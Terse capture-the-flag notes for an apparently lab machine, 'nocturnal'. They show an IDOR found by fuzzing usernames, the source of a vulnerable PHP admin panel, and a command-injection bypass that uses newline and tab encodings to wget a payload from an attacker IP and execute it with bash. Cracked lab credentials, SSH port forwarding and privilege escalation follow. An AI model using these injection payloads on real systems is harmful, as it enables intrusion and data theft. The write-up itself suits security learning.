notes
Register - login
we can upload files, copying the link of the pdf, we can find an IDOR vuln
Fuzz for users.
wfuzz -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -u http://nocturnal.htb/view.php\?username\=FUZZ\&file\=sa.pdf -H "Cookie: PHPSESSID=o91dqbhslctl981n6vogko6b53" --hh 2985
amanda:arHkG7HAI68X8s1J
Login in web
We can see the admin panel
We can see code for php files, and also a backup feature where we have to input a password
Reading admin.php
# Admin Panel
## File Structure (PHP Files Only)
- 📄 [admin.php](http://nocturnal.htb/admin.php?view=admin.php)
- 📁 **backups**
- 📄 [dashboard.php](http://nocturnal.htb/admin.php?view=dashboard.php)
- 📄 [index.php](http://nocturnal.htb/admin.php?view=index.php)
- 📄 [login.php](http://nocturnal.htb/admin.php?view=login.php)
- 📄 [logout.php](http://nocturnal.htb/admin.php?view=logout.php)
- 📄 [register.php](http://nocturnal.htb/admin.php?view=register.php)
- 📁 **uploads**
- 📄 [view.php](http://nocturnal.htb/admin.php?view=view.php)
## View File Content
<?php
session_start();
if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
header('Location: login.php');
exit();
}
function sanitizeFilePath($filePath) {
return basename($filePath); // Only gets the base name of the file
}
// List only PHP files in a directory
function listPhpFiles($dir) {
$files = array_diff(scandir($dir), ['.', '..']);
echo "<ul class='file-list'>";
foreach ($files as $file) {
$sanitizedFile = sanitizeFilePath($file);
if (is_dir($dir . '/' . $sanitizedFile)) {
// Recursively call to list files inside directories
echo "<li class='folder'>📁 <strong>" . htmlspecialchars($sanitizedFile) . "</strong>";
echo "<ul>";
listPhpFiles($dir . '/' . $sanitizedFile);
echo "</ul></li>";
} else if (pathinfo($sanitizedFile, PATHINFO_EXTENSION) === 'php') {
// Show only PHP files
echo "<li class='file'>📄 <a href='admin.php?view=" . urlencode($sanitizedFile) . "'>" . htmlspecialchars($sanitizedFile) . "</a></li>";
}
}
echo "</ul>";
}
// View the content of the PHP file if the 'view' option is passed
if (isset($_GET['view'])) {
$file = sanitizeFilePath($_GET['view']);
$filePath = __DIR__ . '/' . $file;
if (file_exists($filePath) && pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
$content = htmlspecialchars(file_get_contents($filePath));
} else {
$content = "File not found or invalid path.";
}
}
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Panel</title>
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Poppins', sans-serif;
background-color: #1a1a1a;
margin: 0;
padding: 0;
color: #ff8c00;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
background-color: #2c2c2c;
width: 90%;
max-width: 1000px;
padding: 30px;
box-shadow: 0 8px 20px rgba(0, 0, 0, 0.5);
border-radius: 12px;
}
h1, h2 {
color: #ff8c00;
font-weight: 600;
}
form {
display: flex;
flex-direction: column;
gap: 15px;
margin-bottom: 30px;
}
input[type="password"] {
padding: 12px;
font-size: 16px;
border: 1px solid #555;
border-radius: 8px;
width: 100%;
background-color: #333;
color: #ff8c00;
}
button {
padding: 12px;
font-size: 16px;
background-color: #2d72bc;
color: white;
border: none;
border-radius: 8px;
cursor: pointer;
transition: background-color 0.3s ease;
}
button:hover {
background-color: #245a9e;
}
.file-list {
list-style: none;
padding: 0;
}
.file-list li {
background-color: #444;
padding: 15px;
margin-bottom: 10px;
border-radius: 8px;
display: flex;
align-items: center;
}
.file-list li.folder {
background-color: #3b3b3b;
}
.file-list li.file {
background-color: #4d4d4d;
}
.file-list li a {
color: #ff8c00;
text-decoration: none;
margin-left: 10px;
}
.file-list li a:hover {
text-decoration: underline;
}
pre {
background-color: #2d2d2d;
color: #eee;
padding: 20px;
border-radius: 8px;
overflow-x: auto;
font-family: 'Courier New', Courier, monospace;
}
.message {
padding: 15px;
border-radius: 8px;
margin-top: 15px;
background-color: #e7f5e6;
color: #2d7b40;
font-weight: 500;
}
.error {
background-color: #f8d7da;
color: #842029;
}
.backup-output {
margin-top: 20px;
padding: 15px;
border: 1px solid #555;
border-radius: 8px;
background-color: #333;
color: #ff8c00;
}
</style>
</head>
<body>
<div class="container">
<h1>Admin Panel</h1>
<h2>File Structure (PHP Files Only)</h2>
<?php listPhpFiles(__DIR__); ?>
<h2>View File Content</h2>
<?php if (isset($content)) { ?>
<pre><?php echo $content; ?></pre>
<?php } ?>
<h2>Create Backup</h2>
<form method="POST">
<label for="password">Enter Password to Protect Backup:</label>
<input type="password" name="password" required placeholder="Enter backup password">
<button type="submit" name="backup">Create Backup</button>
</form>
<div class="backup-output">
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
sleep(2);
$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}
unlink($logFile);
}
}
?>
</div>
<?php if (isset($backupMessage)) { ?>
<div class="message"><?php echo $backupMessage; ?></div>
<?php } ?>
</div>
</body>
</html>
## Create Backup
Enter Password to Protect Backup:
Its using the zip command to execute command and its taking password from user, $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
Here we don't have \n and \t
we can use them to exploit this
a%0acurl%0910.10.14.25
password=a%0awget%0910.10.14.25/rev%09%2dO%09/dev/shm/hey&backup=
%2d is -
a%0abash%09/dev/shm/hey
Copy the db file using base64 and run sqlite3
tobias:55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse
ssh as him
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
port 8080 is interesting.
Forward the port.
ssh -L 9090:127.0.0.1:8080 tobias@nocturnal.htb
Password reuse works here
admin:slowmotionapocalypse
searching exploits for this version we can see we have a RCE
Root